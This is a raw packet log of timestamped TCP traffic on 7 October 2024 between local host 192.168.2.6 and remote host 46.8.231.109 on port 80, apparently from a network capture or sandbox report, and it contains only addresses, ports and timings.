Oct 7, 2024 18:00:22.729192019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729203939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729218960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729233027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729260921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729671955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729684114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729695082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729703903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729716063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729726076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729727983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729738951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729749918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729764938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729777098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729809046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.729932070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.729973078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730050087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730061054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730072975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730082989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730093956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730102062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730106115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730118036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730128050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730133057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730140924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730150938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730151892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730171919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730201006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730629921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730642080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730653048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730664968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730675936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.730680943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.730710983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.763736963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763807058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.763863087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763876915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763911009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.763938904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.763955116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763967037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763984919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.763995886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.764017105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.764065981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766015053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766088009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766089916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766099930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766204119 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766206980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766218901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766225100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766231060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766330957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766630888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766680002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766686916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766777039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766877890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766889095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766900063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766906023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766911983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766940117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.766974926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766987085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766992092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.766998053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767064095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.767215967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767235041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767246008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767256975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767261982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767267942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767273903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767280102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767348051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.767714024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767726898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767740965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767752886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767766953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767780066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767791986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767802954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767817974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.767826080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.767857075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.767910957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.768094063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768104076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768110991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768121958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768127918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768134117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768249035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.768284082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768296003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768357038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.768444061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768455029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768460989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768466949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768471956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768479109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768490076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768496037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768500090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768506050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768587112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.768944025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.768955946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.769041061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.811610937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811674118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811685085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811791897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.811830997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811841965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811853886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811865091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.811873913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.811906099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812113047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812130928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812140942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812153101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812158108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812165022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812177896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812189102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812191963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812217951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812231064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812586069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812597990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812611103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812624931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812640905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812670946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812844038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812855959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812868118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812877893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.812885046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.812915087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.813119888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813133955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813143015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813148975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813154936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813159943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813165903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813169956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813175917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813189983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813234091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.813281059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.813551903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813580036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813586950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813592911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813597918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813671112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.813760042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813771963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813776970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813782930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813790083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813795090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813810110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.813894033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.814086914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814096928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814110994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814116955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814122915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814130068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814136982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814142942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.814234018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.847306013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847451925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847465038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847582102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.847584009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847596884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847609043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847620010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.847625017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.847656965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.847681999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.849514008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849581003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849592924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849603891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849611998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.849627018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.849646091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.849769115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849780083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849797964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.849833012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.849845886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850203991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850248098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850258112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850368977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850373030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850379944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850387096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850392103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850444078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850622892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850667000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850677967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850688934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850701094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850717068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850738049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850899935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850912094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850924969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850936890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850945950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.850954056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850969076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.850996017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851150036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851203918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851216078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851243973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851269007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851294041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851305962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851316929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851327896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851345062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851397038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851459026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851470947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851481915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851494074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851500034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851528883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851551056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851619959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851630926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851641893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851653099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851664066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851669073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851675987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851687908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851700068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851712942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.851713896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851752996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851752996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.851927042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852096081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852107048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852117062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852128983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852139950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852150917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852152109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852163076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852165937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852174997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852185965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852191925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852197886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852207899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852210999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852221966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.852226973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852263927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.852536917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.853564024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.894967079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895030975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895044088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895055056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895158052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895172119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895201921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895207882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895215034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895235062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895261049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895349979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895360947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895370960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895381927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895399094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895400047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895412922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895442963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895620108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895632982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895643950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895653963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895665884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895672083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895678043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895689011 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895720005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895847082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895859003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895872116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895884037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.895888090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895912886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.895941019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896044970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896055937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896065950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896073103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896084070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.896107912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896141052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.896317959 CEST	80	49718	46.8.231.109	192.168.2.6
